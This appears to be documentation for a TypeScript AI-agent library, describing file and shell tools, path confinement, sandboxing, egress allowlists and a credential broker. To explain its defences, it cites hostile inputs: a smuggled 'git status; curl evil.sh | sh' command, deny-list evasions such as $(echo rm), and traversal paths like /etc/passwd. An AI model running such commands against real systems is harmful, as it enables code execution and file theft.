Workspace tools

import { AgentExecutor, ToolRegistry, NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: '.' }); // every path is confined to this directory
const registry = new ToolRegistry();
registry.registerMany([...createFsTools(workspace), createShellTool(workspace)]);

// The shell tool needs approval by default, so the run pauses before any command runs.
const paused = await AgentExecutor.execute({ agent, input, provider, toolRegistry: registry, approvalStore });
// paused.finishReason === 'awaiting-approval' -> resumeAfterApproval(...) once a human approves

import { createAgent, NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: './project' });
const agent = createAgent({
  instructions: 'You are a careful coding assistant. Run the tests after every change.',
  provider,
  tools: [
    ...createFsTools(workspace),
    createShellTool(workspace, { needsApproval: false, allow: ['npm test', 'npm run lint', 'git status', 'git diff'] }),
  ],
});
const result = await agent.send('Fix the failing test in src/math.test.ts');

​

The tools

import { createShellTool, NodeWorkspace } from '@lousho/build-ai-agent';

const shell = createShellTool(new NodeWorkspace({ root: '.' }), {
  needsApproval: (command) => !/^(ls|cat|git (status|diff|log))\b/.test(command), // read-only commands run without asking
  deny: ['rm -rf', /\bsudo\b/],
  defaultTimeoutMs: 60_000,
});

​

Security model

​

What is enforced

• .. that climbs above the root (../secret, src/../../secret)
• absolute paths (/etc/passwd, and an absolute path that points inside the root)
• Windows drive letters (C:\Windows, C:secret)
• UNC and extended-length paths (\\server\share, //server/share, \\?\C:\)
• NUL bytes

• A link inside the root that points outside it is rejected for reads, and for writes to files that do not exist yet (escape-link/new.txt).
• A link whose target does not exist is never followed, because writing through it could create a file outside the root.
• glob and grep never follow links while walking the tree.
• rm on a link removes the link itself and leaves its target alone.

import { NodeWorkspace } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({
  root: './project',
  env: { NODE_ENV: 'test' },        // added for every command
  inheritEnv: ['CI', 'NODE_OPTIONS'], // copied from the host environment
});

• A string pattern matches a command that is exactly the pattern, or starts with it followed by a space ('git status' matches git status -s).
• In allow, a command matched only by a string pattern must not contain shell operators (; & | ` $( < > or a newline). This stops git status; curl evil.sh | sh from passing as git status.
• A RegExp is tested against the whole command line, so anchor it: /^npm (test|run lint)$/.
• deny string patterns are checked against each ;, & or | separated part of the command.

​

What is NOT enforced

• NodeWorkspace’s shell is not a sandbox. Path confinement applies to the file tools only. A command runs as your OS user and can read, write or delete anything that user can, including ../ and ~/.ssh, and it can use the network. Approval and allow lists reduce the risk, but they are not isolation. For untrusted input, such as prompts from the public or content fetched from the web, give the shell tool a sandbox-backed ShellProvider (see below) and use the file tools with readOnly: true or approval.
• A deny list is a convenience. A shell has many ways to write the same command (r''m -rf, $(echo rm), an extra space, a script file), so do not rely on deny for security. Use allow for that.
• Races and hard links. Paths are checked, then used. A process that swaps a directory for a symlink between those two steps can get around the check. Such a process already has local access, for example a command the shell tool ran without a sandbox. A hard link inside the root to a file outside it cannot be detected.
• grep runs the model’s regex in your process. A pathological pattern can be slow. Lines and files are capped, but the regex engine itself is not time-limited.

​

Sandboxed shell: SandboxShell

import { createFsTools, createShellTool, NodeWorkspace, SandboxShell, SubprocessSandbox } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: './project' });
const shell = new SandboxShell(new SubprocessSandbox({ image: 'node:20-alpine' }), { cwd: workspace.root });
const tools = [...createFsTools(workspace), createShellTool(shell, { needsApproval: false })];

​

Allowlisted egress: network: { allow } with a broker

1. On the first run() it creates an internal bridge network (Internal: true, no IPv6, label com.lousho.sandbox=egress), named networkName or lousho-egress-<random>. An internal network has no route off the bridge. If a network with that name exists, it is reused, but only if it is internal.
2. The broker gets a second listener on that network’s gateway address, which on Docker Engine for Linux is the host’s own interface on the bridge. It accepts connections only from the network’s subnet (any other peer is dropped before a byte is read), so it is not an open proxy on the host’s other interfaces. Its allowlist is the broker’s rule hosts plus the sandbox’s allow list. The broker’s own allow option and its loopback listener are unchanged.
3. Every container joins that network with HTTP_PROXY/HTTPS_PROXY (and lower-case forms) set to the gateway listener, merged over the env you pass. NO_PROXY holds only the gateway address, so $HTTP_PROXY/__broker/<host>/<path> (the path form that adds credentials) reaches the broker directly; it gives no other bypass, because nothing else is reachable.
4. sandbox.close() stops the listener and removes the network if this sandbox created it. An aborted or timed-out run removes its container as before; the network stays for the sandbox’s next run until close().

import { createCredentialBroker, createShellTool, SandboxShell, SubprocessSandbox } from '@lousho/build-ai-agent';

const token = 'ghp_example'; // read from your secret store; it never enters the container
const broker = await createCredentialBroker({ rules: { 'api.github.com': { authorization: () => `Bearer ${token}` } } });
const sandbox = new SubprocessSandbox({ image: 'node:20-alpine', network: { allow: ['registry.npmjs.org'] }, broker });
const tool = createShellTool(new SandboxShell(sandbox, { cwd: '/abs/path/to/project' }), { needsApproval: false });
// ... run the agent with `tool` ...
await sandbox.close();
await broker.close();

• Docker Engine on Linux, with the agent on the same host: enforced. The container can reach the gateway address and nothing past the bridge. DNS: the container resolves no outside names itself (Engine 25.0.5 and later do not forward DNS from internal networks, CVE-2024-29018; older Engines are refused), so names go to the proxy, which resolves them on the host after the allowlist check. Raw IP connections have no route. Non-HTTP protocols (SSH, raw TCP, UDP) are blocked, because only the proxy is reachable, and CONNECT tunnels are checked against the allowlist like any request.
• Docker Desktop (Windows, macOS, and Desktop on Linux): refused. Containers run in a VM, so the host has no address on the internal network. host.docker.internal reaches the host only from non-internal networks, which would also reach everything else. run() rejects with LOUSHO_SANDBOX_EGRESS_UNSUPPORTED and starts no container. So do rootless Docker (the bridge lives in its own network namespace), a daemon on another machine (the broker cannot bind the gateway address), a reused network that is not internal, and an Engine older than 25.0.5.
• Other services on the host’s bridge address. A container on an internal network can reach any host service that listens on the gateway address or on all addresses (0.0.0.0). Bind host services to 127.0.0.1, or firewall the bridge subnet to the broker’s port only. A host firewall that drops traffic from the bridge (a strict INPUT policy) blocks the broker too: runs then fail to connect, they do not get open egress.
• Host commands are still not firewalled. A NodeWorkspace or NoopSandbox command can ignore the proxy variables; see the credential broker notes below.

import { createShellTool, SandboxShell, SubprocessSandbox } from '@lousho/build-ai-agent';

const sandbox = new SubprocessSandbox({ image: 'node:20-alpine', network: 'none' });
const shell = new SandboxShell(sandbox, {
  cwd: '/abs/path/to/project',
  env: { NODE_ENV: 'test' }, // set for every command
  inheritEnv: ['CI'],        // copied from the host environment
});
const tool = createShellTool(shell, { needsApproval: false });

​

Credential broker

import { createCredentialBroker, NodeWorkspace } from '@lousho/build-ai-agent';

const token = 'ghp_example'; // read from your secret store; never passed to the command
const broker = await createCredentialBroker({
  rules: { 'api.github.com': { authorization: () => `Bearer ${token}` } },
  allow: ['registry.npmjs.org'], // reachable without injected headers
});
const workspace = new NodeWorkspace({ root: './project', env: { ...broker.env } });
await workspace.exec(`curl -s ${broker.baseUrl('api.github.com')}/user`);
await broker.close();

• What it returns. url (the proxy, on an ephemeral 127.0.0.1 port by default), env (HTTP_PROXY, HTTPS_PROXY, NO_PROXY and lower-case forms, for the env option of NodeWorkspace or SandboxShell), baseUrl(host) and close(), which stops the listener and destroys open sockets. A header value is a string or a function called per request.
• Allowlist. Rule hosts (exact names or *.suffix) are allowed implicitly; allow adds hosts reached without injected headers. Any other host gets a 403 before a connection is opened. Hosts that resolve to loopback, link-local (such as the cloud metadata address 169.254.169.254) or private addresses are refused unless listed in allowPrivate, so a command cannot use the proxy to reach services on your machine or network.
• Secrets stay on the host. Injected values never appear in env, in the proxy’s error responses or in any log. A request to a brokered host that already carries an Authorization header has it removed and replaced. Hop-by-hop headers (Connection, Proxy-Authorization, …) are not forwarded.
• HTTPS limitation. Header injection works on plain-HTTP requests and on the path form: the broker serves http://127.0.0.1:<port>/__broker/<host>/<path> and forwards it to https://<host>/<path> with the headers added, which is what baseUrl(host) returns. Point a tool at that base URL (for example an SDK’s baseURL option or a curl URL) to get auth without holding the token. A client that uses HTTPS_PROXY for an https:// URL opens a CONNECT tunnel instead: the broker checks the allowlist on the tunnel target and passes the encrypted bytes through untouched, so no header is added. The broker does not intercept TLS.
• It is not a firewall on the host. A command run by NodeWorkspace can ignore the proxy variables and open its own connections; the allowlist only covers traffic sent through the broker. What the broker guarantees is that the token is never in the command’s reach.
• Containers. Do not pass broker.env to a SubprocessSandbox: it points at the host’s loopback. Pass the broker itself instead, new SubprocessSandbox({ network: { allow }, broker }), and the sandbox routes its containers through it (see Allowlisted egress). It does that with broker.listen({ host, clients, allow }), which adds a listener on another address that serves only peers from the clients subnet, with the rule hosts plus allow as its allowlist. The broker listens on loopback only unless you call it.

​

Writing your own provider

import { normalizeWorkspacePath, WorkspaceError, type FsProvider, type ShellProvider } from '@lousho/build-ai-agent';

// A stand-in for your remote sandbox SDK (E2B, Daytona, Cloudflare, ...).
declare const remote: {
  read(path: string): Promise<string | null>;
  write(path: string, data: string): Promise<void>;
  list(path: string): Promise<{ name: string; dir: boolean }[]>;
  run(cmd: string, opts: { cwd: string; timeoutMs?: number }): Promise<{ out: string; err: string; code: number }>;
};
const base = '/home/user/project';
const abs = (path: string) => `${base}/${normalizeWorkspacePath(path, 'posix')}`;

export const remoteFs: FsProvider = {
  async readFile(path) {
    const data = await remote.read(abs(path));
    if (data === null) throw new WorkspaceError(`File not found: ${path}`);
    return data;
  },
  writeFile: (path, content) => remote.write(abs(path), content),
  async stat(path) {
    const data = await remote.read(abs(path));
    return data === null ? undefined : { type: 'file', size: data.length };
  },
  async readdir(path) {
    return (await remote.list(abs(path))).map((e) => ({ name: e.name, type: e.dir ? 'directory' : 'file' }));
  },
  async mkdir(path) { await remote.run(`mkdir -p '${abs(path)}'`, { cwd: base }); },
  async rm(path, options) { await remote.run(`rm ${options?.recursive ? '-r ' : ''}'${abs(path)}'`, { cwd: base }); },
};

export const remoteShell: ShellProvider = {
  async exec(command, options = {}) {
    const r = await remote.run(command, { cwd: abs(options.cwd ?? '.'), timeoutMs: options.timeoutMs });
    return { stdout: r.out, stderr: r.err, exitCode: r.code, timedOut: false };
  },
};

​

Testing with MemoryWorkspace

import { createAgent, createFsTools, createShellTool, MemoryWorkspace } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const workspace = new MemoryWorkspace({
  files: { 'src/math.ts': 'export const add = (a: number, b: number) => a - b;\n' },
  exec: (command) => (command === 'npm test' ? { stdout: '1 passed\n' } : { exitCode: 1, stderr: 'unknown command\n' }),
});
const provider = mockModel([
  { toolCalls: [{ name: 'edit_file', args: { path: 'src/math.ts', old_string: 'a - b', new_string: 'a + b' } }] },
  { toolCalls: [{ name: 'shell', args: { command: 'npm test' } }] },
  'Fixed add() and the tests pass.',
]);
const agent = createAgent({
  instructions: 'Fix bugs.',
  provider,
  tools: [...createFsTools(workspace), createShellTool(workspace, { needsApproval: false })],
});
await agent.send('add() is broken');
console.log(workspace.snapshot()['src/math.ts']); // '... a + b;\n'
console.log(workspace.commands.map((c) => c.command)); // ['npm test']